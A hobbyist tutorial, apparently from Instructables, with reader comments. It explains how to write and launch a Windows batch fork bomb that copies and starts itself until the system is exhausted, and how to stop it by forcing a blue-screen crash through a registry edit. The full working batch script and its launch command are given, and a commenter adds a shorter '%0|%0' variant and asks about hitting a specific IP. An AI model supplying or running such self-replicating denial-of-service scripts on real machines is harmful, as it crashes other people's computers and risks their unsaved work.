Program a Fork Bomb! As Well As Diffusing It

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Introduction: Program a Fork Bomb! As Well As Diffusing It

 In this instructable, you will be making a fork bomb. A fork bomb is a batch file that copies itself. The copy will have the same programming and so will make a copy of itself, and the process continues until you've figured out a way to stop the process. Luckily, I've found something that will stop the reaction, but at the expense of restarting the computer using.. well.. the BSOD!!!! (aka. Blue Screen Of Death (the blue error screen?(never mind..))).


Special thanks to: wizerd 745 for the code

If you have a lot of experience in writing codes and stuff like that, this is not recommended because it looks so puny

Step 1: Programming


First off, copy this code into notepad:

@echo off
set name=%0
set clone=1
:start
:clone
If not exist clone%clone%.bat (
copy "%name%" "clone%clone%.bat"
) else (
set /a clone=%clone%+1
GoTo clone
)
start %name%
start clone%clone%.bat
GoTo start
pause

Save it into whatever folder you wish. Before saving it though, make sure there is the file extension ".bat" (including period, without quotes) after the file name and save it as "all files".

Step 2: Activating THE BOMB


I tried double clicking on the file once. Nothing happened, so I resorted to more technical methods. My motto for my PC: If everything else fails, use command prompt! And it worked! All you have to do is to type the following in command prompt:

start fork bomb.bat

Explanation: Type start, then the name of the .bat file including the .bat extension. What it does is, well, start the file! It's not really all technical or complicated, but I guess some of you haven't heard of command prompt. To open command prompt press start->all programs->accessories->command prompt. You would see a small window pop up. It looks kinda low tech, but I use it to get IP addresses to... That would be a different instructable.

Step 3: Diffuse the Bomb Before It Makes a Mess!

I use this method to get out of a situation where your computer has no restart  button and you're stuck with a fork bomb. The only con is that you need Windows XP for this. Google around for more solutions, but here's mine anyway (also Googled around).

Go to Start --> Run --> type "regedit"(a window should pop up) --> HKEY_LOCAL_MACHINE --> System --> Current Control Set --> Services --> i8042prt --> Parameters

You should now see what I see in pic. 1. Now right click on an empty space in the main window. Make a new "DWORD" value in there. When you right click, you will see the word "new" hover over that and a subset will pop up showing you options. Click on "DWORD Value". When that's done, a new file will pop up in the rename mode. Rename it to "CrashOnCtrlScroll". Right click on the new file and click on "modify". Another window will pop up with the "Value" section highlighted. Change the value to one. Don't do anything else but to change the value to 1. Now it's done.

To use the BSOD command, simply press and hold the right hand "alt" key and press the "scroll lock" key twice. You will now get a BSOD that will end your fork bomb misery!

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    23 Comments

    Can you fork bomb a specific ip?

    Dude, this works too.

    %0|%0

    You might want to stop feeding any trolls you might encounter over here. The best way to do it is to ignore him completely. All they try to achieve is to turn any discussion into flaming, fights etc. On the other hand you've got quite a nice 'ible there. I've seen fork bombs for Linux already, but not for Windows. Thanks for pointing it out. You might want to use PNG for the images the next time though as JPG messes up pictures with high contrasts (such as screenshots) pretty badly. Even the resulting file will be much smaller. One more thing: I wonder whether there's a more convenient way to terminate a fork bomb (i.e. without crashing/restarting your PC) that can be used against Windows fork bombs.....

    I'm sure there's someone out there with the programming knowledge to crunch out a file for terminating fork bombs.

    Not if the bomb uses all the cpu instantly. Then you can't do anything, exept hold the power button.

    That's almost impossible, though.

    Don't say that to me, I didn't make this thing. At least someone found a use for this... lol.

    Here's how:
    http://en.wikipedia.org/wiki/Fork_bomb#Defusing

    I got all my information from wikipedia :P

    first of all. i wouldnt be surprised if u didnt actually have a clue what to do with a IP adress if u got one, secondly, you got the code off of someone else, you noob. write ur own codes. it people like u that people like me hate, because you write stuff like your a computer genius, but its actually one of the easiest things to do, write your own code, learn how to hack properly. THEN get back to me. MessMaker.